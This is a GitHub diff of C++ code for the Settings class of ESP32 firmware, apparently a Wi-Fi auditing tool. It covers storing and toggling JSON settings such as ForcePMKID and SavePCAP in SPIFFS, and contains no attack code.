String settings_string; | ||
|
||
for (int i = 0; i < json["Settings"].size(); i++) { | ||
if (json["Settings"][i]["name"].as<String>() == key) { | ||
json["Settings"][i]["value"] = value; | ||
|
||
esp32m_println("Saving setting..."); | ||
|
||
File settingsFile = SPIFFS.open("/settings.json", FILE_WRITE); | ||
|
||
if (!settingsFile) { | ||
esp32m_println(F("Failed to create settings file")); | ||
return false; | ||
} | ||
|
||
if (serializeJson(json, settingsFile) == 0) { | ||
esp32m_println(F("Failed to write to file")); | ||
} | ||
if (serializeJson(json, settings_string) == 0) { | ||
esp32m_println(F("Failed to write to string")); | ||
} | ||
|
||
// Close the file | ||
settingsFile.close(); | ||
|
||
this->json_settings_string = settings_string; | ||
|
||
this->printJsonSettings(settings_string); | ||
|
||
return true; | ||
} | ||
} | ||
return false; | ||
} | ||
|
||
bool Settings::toggleSetting(String key) { | ||
DynamicJsonDocument json(1024); // ArduinoJson v6 | ||
|
||
if (deserializeJson(json, this->json_settings_string)) { | ||
esp32m_println("\nCould not parse json"); | ||
} | ||
|
||
for (int i = 0; i < json["Settings"].size(); i++) { | ||
if (json["Settings"][i]["name"].as<String>() == key) { | ||
if (json["Settings"][i]["value"]) { | ||
saveSetting<bool>(key, false); | ||
esp32m_println("Setting value to false"); | ||
return false; | ||
} | ||
else { | ||
saveSetting<bool>(key, true); | ||
esp32m_println("Setting value to true"); | ||
return true; | ||
} | ||
|
||
return false; | ||
} | ||
} | ||
} | ||
|
||
String Settings::setting_index_to_name(int i) { | ||
DynamicJsonDocument json(1024); // ArduinoJson v6 | ||
|
||
if (deserializeJson(json, this->json_settings_string)) { | ||
esp32m_println("\nCould not parse json"); | ||
} | ||
|
||
return json["Settings"][i]["name"]; | ||
} | ||
|
||
int Settings::getNumberSettings() { | ||
DynamicJsonDocument json(1024); // ArduinoJson v6 | ||
|
||
if (deserializeJson(json, this->json_settings_string)) { | ||
esp32m_println("\nCould not parse json"); | ||
} | ||
|
||
return json["Settings"].size(); | ||
} | ||
|
||
String Settings::getSettingType(String key) { | ||
DynamicJsonDocument json(1024); // ArduinoJson v6 | ||
|
||
if (deserializeJson(json, this->json_settings_string)) { | ||
esp32m_println("\nCould not parse json"); | ||
} | ||
|
||
for (int i = 0; i < json["Settings"].size(); i++) { | ||
if (json["Settings"][i]["name"].as<String>() == key) | ||
return json["Settings"][i]["type"]; | ||
} | ||
} | ||
|
||
void Settings::printJsonSettings(String json_string) { | ||
DynamicJsonDocument json(1024); // ArduinoJson v6 | ||
|
||
if (deserializeJson(json, json_string)) { | ||
esp32m_println("\nCould not parse json"); | ||
} | ||
|
||
esp32m_println("Settings\n----------------------------------------------"); | ||
for (int i = 0; i < json["Settings"].size(); i++) { | ||
esp32m_println("Name: " + json["Settings"][i]["name"].as<String>()); | ||
esp32m_println("Type: " + json["Settings"][i]["type"].as<String>()); | ||
esp32m_println("Value: " + json["Settings"][i]["value"].as<String>()); | ||
esp32m_println("----------------------------------------------"); | ||
} | ||
} | ||
|
||
bool Settings::createDefaultSettings(fs::FS &fs) { | ||
createDefaultSettings(fs, DEFAULT_SETTING_FILE); | ||
} | ||
|
||
bool Settings::createDefaultSettings(fs::FS &fs, String filename) { | ||
esp32m_println(F("Creating default settings file: settings.json")); | ||
|
||
File settingsFile = fs.open(filename, FILE_WRITE); | ||
|
||
if (!settingsFile) { | ||
esp32m_println(F("Failed to create settings file")); | ||
return false; | ||
} | ||
|
||
DynamicJsonDocument jsonBuffer(1024); | ||
String settings_string; | ||
|
||
//jsonBuffer["Settings"][0]["name"] = "Channel"; | ||
//jsonBuffer["Settings"][0]["type"] = "uint8_t"; | ||
//jsonBuffer["Settings"][0]["value"] = 11; | ||
//jsonBuffer["Settings"][0]["range"]["min"] = 1; | ||
//jsonBuffer["Settings"][0]["range"]["max"] = 14; | ||
|
||
//jsonBuffer["Settings"][1]["name"] = "Channel Hop Delay"; | ||
//jsonBuffer["Settings"][1]["type"] = "int"; | ||
//jsonBuffer["Settings"][1]["value"] = 1; | ||
//jsonBuffer["Settings"][1]["range"]["min"] = 1; | ||
//jsonBuffer["Settings"][1]["range"]["max"] = 10; | ||
|
||
jsonBuffer["Settings"][0]["name"] = "ForcePMKID"; | ||
jsonBuffer["Settings"][0]["type"] = "bool"; | ||
jsonBuffer["Settings"][0]["value"] = true; | ||
jsonBuffer["Settings"][0]["range"]["min"] = false; | ||
jsonBuffer["Settings"][0]["range"]["max"] = true; | ||
|
||
jsonBuffer["Settings"][1]["name"] = "ForceProbe"; | ||
jsonBuffer["Settings"][1]["type"] = "bool"; | ||
jsonBuffer["Settings"][1]["value"] = true; | ||
jsonBuffer["Settings"][1]["range"]["min"] = false; | ||
jsonBuffer["Settings"][1]["range"]["max"] = true; | ||
|
||
jsonBuffer["Settings"][2]["name"] = "SavePCAP"; | ||
jsonBuffer["Settings"][2]["type"] = "bool"; | ||
jsonBuffer["Settings"][2]["value"] = true; | ||
jsonBuffer["Settings"][2]["range"]["min"] = false; | ||
jsonBuffer["Settings"][2]["range"]["max"] = true; | ||
|
||
jsonBuffer["Settings"][3]["name"] = "EnableLED"; | ||
jsonBuffer["Settings"][3]["type"] = "bool"; | ||
jsonBuffer["Settings"][3]["value"] = true; | ||
jsonBuffer["Settings"][3]["range"]["min"] = false; | ||
jsonBuffer["Settings"][3]["range"]["max"] = true; | ||
|
||
//jsonBuffer.printTo(settingsFile); | ||
if (serializeJson(jsonBuffer, settingsFile) == 0) { | ||
esp32m_println(F("Failed to write to file")); | ||
} | ||
if (serializeJson(jsonBuffer, settings_string) == 0) { | ||
esp32m_println(F("Failed to write to string")); | ||
} | ||
|
||
// Close the file | ||
settingsFile.close(); | ||
|
||
this->json_settings_string = settings_string; | ||
|
||
this->printJsonSettings(settings_string); | ||
|
||
return true; | ||
} | ||
|
||
void Settings::main(uint32_t currentTime) { | ||
|
||
} |
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
Original file line number | Diff line number | Diff line change |
---|---|---|
@@ -0,0 +1,59 @@ | ||
#pragma once | ||
|
||
#ifndef Settings_h | ||
#define Settings_h | ||
|
||
#include "configs.h" | ||
|
||
#include "SPIFFS.h" | ||
#include <FS.h> | ||
#include <ArduinoJson.h> | ||
|
||
#define FORMAT_SPIFFS_IF_FAILED true | ||
|
||
#ifdef HAS_SCREEN | ||
#include "Display.h" | ||
|
||
extern Display display_obj; | ||
#endif | ||
|
||
class Settings { | ||
|
||
private: | ||
String json_settings_string; | ||
|
||
public: | ||
bool begin(); | ||
bool begin(fs::FS fs, String filename); | ||
|
||
template <typename T> | ||
T loadSetting(String name); | ||
|
||
template <typename T> | ||
T saveSetting(String key, bool value); | ||
|
||
bool toggleSetting(String key); | ||
String getSettingType(String key); | ||
String setting_index_to_name(int i); | ||
int getNumberSettings(); | ||
|
||
//template<> | ||
//int loadSetting<int>(String key); | ||
|
||
//template<> | ||
//String loadSetting<String>(String key); | ||
|
||
//template<> | ||
//bool loadSetting<bool>(String key); | ||
|
||
//template<> | ||
//uint8_t loadSetting<uint8_t>(String key); | ||
|
||
String getSettingsString(); | ||
bool createDefaultSettings(fs::FS &fs); | ||
bool createDefaultSettings(fs::FS &fs, String filename); | ||
void printJsonSettings(String json_string); | ||
void main(uint32_t currentTime); | ||
}; | ||
|
||
#endif |
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters